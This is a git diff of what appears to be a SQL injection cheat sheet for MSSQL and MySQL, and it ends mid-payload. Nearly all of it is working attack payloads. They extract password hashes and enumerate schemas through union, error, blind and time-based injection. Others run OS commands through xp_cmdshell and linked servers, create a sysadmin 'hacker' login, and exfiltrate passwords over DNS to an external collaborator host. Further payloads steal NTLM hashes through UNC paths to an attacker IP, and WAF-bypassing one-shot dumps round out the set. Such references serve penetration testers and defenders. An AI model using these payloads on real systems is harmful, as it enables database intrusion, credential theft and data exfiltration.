SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
|
||||
|
||||
SELECT table_catalog, table_name FROM information_schema.columns
|
||||
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
|
||||
```
|
||||
|
||||
## MSSQL User Password
|
||||
## MSSQL Extract user/password
|
||||
|
||||
```sql
|
||||
MSSQL 2000:
|
||||
@@ -54,7 +97,7 @@ SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Nee
|
||||
|
||||
MSSQL 2005
|
||||
SELECT name, password_hash FROM master.sys.sql_logins
|
||||
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
|
||||
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
|
||||
```
|
||||
|
||||
## MSSQL Union Based
|
||||
@@ -94,6 +137,13 @@ For string inputs : ' + cast((SELECT @@version) as int) + '
|
||||
## MSSQL Blind based
|
||||
|
||||
```sql
|
||||
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
|
||||
|
||||
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
|
||||
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
|
||||
|
||||
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
|
||||
|
||||
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
|
||||
|
||||
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
|
||||
@@ -109,7 +159,7 @@ ProductID=1';waitfor delay '0:0:10'--
|
||||
ProductID=1');waitfor delay '0:0:10'--
|
||||
ProductID=1));waitfor delay '0:0:10'--
|
||||
|
||||
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
|
||||
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
|
||||
```
|
||||
|
||||
## MSSQL Stacked Query
|
||||
@@ -120,6 +170,16 @@ Use a semi-colon ";" to add another query
|
||||
ProductID=1; DROP members--
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Read file
|
||||
|
||||
**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.
|
||||
|
||||
```sql
|
||||
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Command execution
|
||||
|
||||
```sql
|
||||
@@ -137,7 +197,48 @@ EXEC sp_configure 'xp_cmdshell',1;
|
||||
RECONFIGURE;
|
||||
```
|
||||
|
||||
## MSSQL UNC Path
|
||||
To interact with the MSSQL instance.
|
||||
|
||||
```powershell
|
||||
sqsh -S 192.168.1.X -U sa -P superPassword
|
||||
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
|
||||
```
|
||||
|
||||
Execute Python script
|
||||
|
||||
> Executed by a different user than the one using xp_cmdshell to execute commands
|
||||
|
||||
```powershell
|
||||
#Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
|
||||
#Open and read a file
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
|
||||
#Multiline
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
|
||||
import sys
|
||||
print(sys.version)
|
||||
'
|
||||
GO
|
||||
```
|
||||
|
||||
## MSSQL Out of band
|
||||
|
||||
### MSSQL DNS exfiltration
|
||||
|
||||
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
|
||||
|
||||
```powershell
|
||||
# Permissions: Requires VIEW SERVER STATE permission on the server.
|
||||
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
|
||||
|
||||
# Permissions: Requires the CONTROL SERVER permission.
|
||||
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
|
||||
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
|
||||
```
|
||||
|
||||
|
||||
### MSSQL UNC Path
|
||||
|
||||
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
|
||||
|
||||
@@ -145,14 +246,93 @@ MSSQL supports stacked queries so we can create a variable pointing to our IP ad
|
||||
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
|
||||
```
|
||||
|
||||
```sql
|
||||
xp_dirtree '\\attackerip\file'
|
||||
xp_fileexist '\\attackerip\file'
|
||||
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
|
||||
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
|
||||
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
|
||||
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
|
||||
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
|
||||
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
|
||||
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
|
||||
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
|
||||
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Make user DBA (DB admin)
|
||||
|
||||
```sql
|
||||
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
|
||||
```
|
||||
|
||||
## MSSQL Trusted Links
|
||||
|
||||
> The links between databases work even across forest trusts.
|
||||
|
||||
```powershell
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
|
||||
```
|
||||
|
||||
Manual exploitation
|
||||
|
||||
```sql
|
||||
-- find link
|
||||
select * from master..sysservers
|
||||
|
||||
-- execute query through the link
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
select version from openquery("linkedserver", 'select @@version as version');
|
||||
|
||||
-- chain multiple openquery
|
||||
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
|
||||
|
||||
-- execute shell commands
|
||||
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
|
||||
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
|
||||
|
||||
-- create user and give admin privileges
|
||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
```
|
||||
|
||||
## List permissions
|
||||
|
||||
Listing effective permissions of current user on the server.
|
||||
|
||||
```sql
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
|
||||
```
|
||||
|
||||
Listing effective permissions of current user on the database.
|
||||
|
||||
```sql
|
||||
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
|
||||
```
|
||||
|
||||
Listing effective permissions of current user on a view.
|
||||
|
||||
```
|
||||
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
|
||||
```
|
||||
|
||||
Check if current user is a member of the specified server role.
|
||||
|
||||
```sql
|
||||
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
|
||||
SELECT is_srvrolemember('sysadmin');
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
|
||||
* [Sqlinjectionwiki - MSSQL](http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/)
|
||||
* [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf)
|
||||
* [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links)
|
||||
* [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/)
|
||||
* [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT)
|
||||
* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
|
||||
* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)
|
||||
* [Microsoft - sys.fn_my_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15)
|
||||
* [Microsoft - IS_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15)
|
||||
|
||||
@@ -3,10 +3,10 @@
|
||||
## Summary
|
||||
|
||||
* [MYSQL Comment](#mysql-comment)
|
||||
* [Detect columns number](#detect-columns-number)
|
||||
* [MYSQL Union Based](#mysql-union-based)
|
||||
* [Extract database with information_schema](#extract-database-with-information-schema)
|
||||
* [Extract data without information_schema](#extract-data-without-information-schema)
|
||||
* [Detect columns number](#detect-columns-number)
|
||||
* [Extract database with information_schema](#extract-database-with-information_schema)
|
||||
* [Extract columns name without information_schema](#extract-columns-name-without-information_schema)
|
||||
* [Extract data without columns name](#extract-data-without-columns-name)
|
||||
* [MYSQL Error Based](#mysql-error-based)
|
||||
* [MYSQL Error Based - Basic](#mysql-error-based---basic)
|
||||
@@ -15,15 +15,20 @@
|
||||
* [MYSQL Blind](#mysql-blind)
|
||||
* [MYSQL Blind with substring equivalent](#mysql-blind-with-substring-equivalent)
|
||||
* [MYSQL Blind using a conditional statement](#mysql-blind-using-a-conditional-statement)
|
||||
* [MYSQL Blind with MAKE_SET](#mysql-blind-with-make-set)
|
||||
* [MYSQL Blind with MAKE_SET](#mysql-blind-with-make_set)
|
||||
* [MYSQL Blind with LIKE](#mysql-blind-with-like)
|
||||
* [MYSQL Time Based](#mysql-time-based)
|
||||
* [Using SLEEP in a subselect](#using-sleep-in-a-subselect)
|
||||
* [Using conditional statements](#using-conditional-statements)
|
||||
* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)
|
||||
* [MYSQL Current queries](#mysql-current-queries)
|
||||
* [MYSQL Read content of a file](#mysql-read-content-of-a-file)
|
||||
* [MYSQL Write a shell](#mysql-write-a-shell)
|
||||
* [Into outfile method](#into-outfile-method)
|
||||
* [Into dumpfile method](#into-dumpfile-method)
|
||||
* [MYSQL UDF command execution](#mysql-udf-command-execution)
|
||||
* [MYSQL Truncation](#mysql-truncation)
|
||||
* [MYSQL Fast Exploitation](#mysql-fast-exploitation)
|
||||
* [MYSQL Out of band](#mysql-out-of-band)
|
||||
* [DNS exfiltration](#dns-exfiltration)
|
||||
* [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing)
|
||||
@@ -34,6 +39,7 @@
|
||||
|
||||
```sql
|
||||
# MYSQL Comment
|
||||
-- comment [Note the space after the double dash]
|
||||
/* MYSQL Comment */
|
||||
/*! MYSQL Special SQL */
|
||||
/*!32302 10*/ Comment for MYSQL version 3.23.02
|
||||
@@ -42,17 +48,76 @@
|
||||
|
||||
## MYSQL Union Based
|
||||
|
||||
### Extract database with information_schema
|
||||
### Detect columns number
|
||||
|
||||
First you need to know the number of columns, you can use `order by`.
|
||||
First you need to know the number of columns
|
||||
|
||||
##### Using `order by` or `group by`
|
||||
|
||||
Keep incrementing the number until you get a False response.
|
||||
Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
|
||||
|
||||
```sql
|
||||
order by 1
|
||||
order by 2
|
||||
order by 3
|
||||
...
|
||||
order by XXX
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
1' ORDER BY 3--+ #True
|
||||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||||
#-1' UNION SELECT 1,2,3--+ True
|
||||
```
|
||||
or
|
||||
```sql
|
||||
1' GROUP BY 1--+ #True
|
||||
1' GROUP BY 2--+ #True
|
||||
1' GROUP BY 3--+ #True
|
||||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||||
#-1' UNION SELECT 1,2,3--+ True
|
||||
```
|
||||
##### Using `order by` or `group by` Error Based
|
||||
Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.
|
||||
```sql
|
||||
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
|
||||
|
||||
# Unknown column '4' in 'order clause'
|
||||
# This error means query uses 3 column
|
||||
#-1' UNION SELECT 1,2,3--+ True
|
||||
```
|
||||
or
|
||||
```sql
|
||||
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
|
||||
|
||||
# Unknown column '4' in 'group statement'
|
||||
# This error means query uses 3 column
|
||||
#-1' UNION SELECT 1,2,3--+ True
|
||||
```
|
||||
##### Using `UNION SELECT` Error Based
|
||||
This method works if error showing is enabled
|
||||
```sql
|
||||
1' UNION SELECT @--+ #The used SELECT statements have a different number of columns
|
||||
1' UNION SELECT @,@--+ #The used SELECT statements have a different number of columns
|
||||
1' UNION SELECT @,@,@--+ #No error means query uses 3 column
|
||||
#-1' UNION SELECT 1,2,3--+ True
|
||||
```
|
||||
##### Using `LIMIT INTO` Error Based
|
||||
This method works if error showing is enabled.
|
||||
|
||||
It is useful for finding the number of columns when the injection point is after a LIMIT clause.
|
||||
```sql
|
||||
1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number of columns
|
||||
1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns
|
||||
1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column
|
||||
#-1' UNION SELECT 1,2,3--+ True
|
||||
```
|
||||
##### Using `SELECT * FROM SOME_EXISTING_TABLE` Error Based
|
||||
This works if you know the table name you're after and error showing is enabled.
|
||||
|
||||
It will return the amount of columns in the table, not the query.
|
||||
|
||||
```sql
|
||||
1' AND (SELECT * FROM Users) = 1--+ #Operand should contain 3 column(s)
|
||||
# This error means query uses 3 column
|
||||
#-1' UNION SELECT 1,2,3--+ True
|
||||
```
|
||||
### Extract database with information_schema
|
||||
|
||||
Then the following codes will extract the databases'name, tables'name, columns'name.
|
||||
|
||||
@@ -148,11 +213,21 @@ Shorter to read:
|
||||
Works with `MySQL >= 5.1`
|
||||
|
||||
```sql
|
||||
AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
|
||||
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
|
||||
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
|
||||
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
|
||||
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
|
||||
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
|
||||
```
|
||||
|
||||
### MYSQL Error Based - NAME_CONST function (only for constants)
|
||||
|
||||
Works with `MySQL >= 5.0`
|
||||
|
||||
```sql
|
||||
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
|
||||
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
|
||||
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
|
||||
```
|
||||
|
||||
## MYSQL Blind
|
||||
@@ -165,8 +240,33 @@ AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)
|
||||
?id=1 and left(version(),1)=4
|
||||
?id=1 and ascii(lower(substr(Version(),1,1)))=51
|
||||
?id=1 and (select mid(version(),1,1)=4)
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
|
||||
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
|
||||
```
|
||||
|
||||
### MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP
|
||||
|
||||
This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not.
|
||||
For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.
|
||||
|
||||
```
|
||||
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
|
||||
```
|
||||
|
||||
### MySQL Blind SQL Injection binary query using REGEXP.
|
||||
|
||||
Payload:
|
||||
```
|
||||
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
|
||||
```
|
||||
|
||||
Would work in the query (where the "where" clause is the injection point):
|
||||
```
|
||||
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
|
||||
```
|
||||
|
||||
In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.
|
||||
|
||||
### MYSQL Blind using a conditional statement
|
||||
|
||||
TRUE: `if @@version starts with a 5`:
|
||||
@@ -204,24 +304,80 @@ SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
|
||||
|
||||
## MYSQL Time Based
|
||||
|
||||
The following SQL codes will delay the output from MySQL.
|
||||
|
||||
```sql
|
||||
+BENCHMARK(40000000,SHA1(1337))+
|
||||
'%2Bbenchmark(3200,SHA1(1))%2B'
|
||||
' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
|
||||
|
||||
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
|
||||
RLIKE SLEEP([SLEEPTIME])
|
||||
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
|
||||
```
|
||||
|
||||
?id=1 and IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
|
||||
?id=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
|
||||
### Using SLEEP in a subselect
|
||||
|
||||
```powershell
|
||||
1 and (select sleep(10) from dual where database() like '%')#
|
||||
1 and (select sleep(10) from dual where database() like '___')#
|
||||
1 and (select sleep(10) from dual where database() like '____')#
|
||||
1 and (select sleep(10) from dual where database() like '_____')#
|
||||
1 and (select sleep(10) from dual where database() like 'a____')#
|
||||
...
|
||||
1 and (select sleep(10) from dual where database() like 's____')#
|
||||
1 and (select sleep(10) from dual where database() like 'sa___')#
|
||||
...
|
||||
1 and (select sleep(10) from dual where database() like 'sw___')#
|
||||
1 and (select sleep(10) from dual where database() like 'swa__')#
|
||||
1 and (select sleep(10) from dual where database() like 'swb__')#
|
||||
1 and (select sleep(10) from dual where database() like 'swi__')#
|
||||
...
|
||||
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
|
||||
```
|
||||
|
||||
### Using conditional statements
|
||||
|
||||
```sql
|
||||
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
|
||||
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
|
||||
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
|
||||
```
|
||||
|
||||
## MYSQL DIOS - Dump in One Shot
|
||||
|
||||
```sql
|
||||
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
|
||||
|
||||
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
|
||||
|
||||
-- SecurityIdiots
|
||||
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
|
||||
|
||||
-- Profexer
|
||||
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
|
||||
|
||||
-- Dr.Z3r0
|
||||
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))
|
||||
|
||||
-- M@dBl00d
|
||||
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
|
||||
|
||||
-- Zen
|
||||
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
|
||||
|
||||
-- Zen WAF
|
||||
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)
|
||||
|
||||
-- ~tr0jAn WAF
|
||||
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+
|
||||
|
||||
-- ~tr0jAn Benchmark
|
||||
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+
|
||||
|
||||
-- N1Z4M WAF
|
||||
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e5465